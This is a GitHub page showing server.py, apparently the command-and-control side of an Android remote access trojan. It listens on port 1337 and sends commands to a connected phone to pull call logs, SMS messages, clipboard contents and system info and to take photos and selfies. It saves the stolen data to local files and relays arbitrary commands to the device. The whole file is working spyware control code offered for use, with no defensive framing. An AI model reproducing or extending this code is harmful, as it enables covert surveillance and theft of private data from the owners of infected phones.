-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathserver.py
executable file
·84 lines (68 loc) · 2.45 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
import os
import socket
import base64
import datetime
HOST = '0.0.0.0'
PORT = 1337
END_HEADER = "POPPETX321"
server_soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_soc.bind((HOST, PORT))
server_soc.listen(1)
print("Listening for connections on " + str(server_soc))
conn, addr = server_soc.accept()
print("Connection from " + str(addr))
connectionTest = conn.recv(4048).decode("UTF-8")
print("From " + str(addr) + " : " + str(connectionTest))
# Just some function to be used here and there
def recvall(sock):
data = ""
buffer = ""
while END_HEADER not in data:
buffer = sock.recv(4048).decode("UTF-8", "ignore")
data += buffer
data.replace(END_HEADER, "")
return data
while True:
dataSend = input(">>>") + "\n"
print("Executing command.. "+dataSend)
if dataSend.strip() == "end":
conn.send(dataSend.encode("UTF-8"))
conn.close()
break
elif dataSend.strip() == "getCallLogs":
conn.send(dataSend.encode("utf-8"))
print(str(recvall(conn)))
elif dataSend.strip() == "takePhoto":
conn.send(dataSend.encode("utf-8"))
file = open("Photo" + str(datetime.datetime.now()) + ".png", "wb")
file.write(base64.b64decode(recvall(conn)))
file.close()
print("Done...")
elif dataSend.strip() == "takeSelfie":
conn.send(dataSend.encode("utf-8"))
file = open("Selfie" + str(datetime.datetime.now()) + ".png", "wb")
file.write(base64.b64decode(recvall(conn)))
file.close()
print("Done...")
elif dataSend.strip() == "getSystemInfo":
conn.send(dataSend.encode("UTF-8"))
print("System Info of " + str(addr) + "\n" + str(recvall(conn)))
elif dataSend.strip() == "getMessages":
conn.send(dataSend.encode("UTF-8"))
print("Writing it to messages.txt")
file = open("message.txt", 'a')
file.write("--------------------------------------\n")
messages_data = recvall(conn)
file.write(base64.b64decode(messages_data).decode("utf-8"))
file.close()
print("Done...")
elif dataSend.strip() == "getClipBoardContent":
conn.send(dataSend.encode("utf-8"))
print(str(recvall(conn)))
# //TODO Needs a fix on Android Code.
else:
conn.send(dataSend.encode("utf-8"))
print(conn.recv(4048).decode("utf-8"))
conn.close()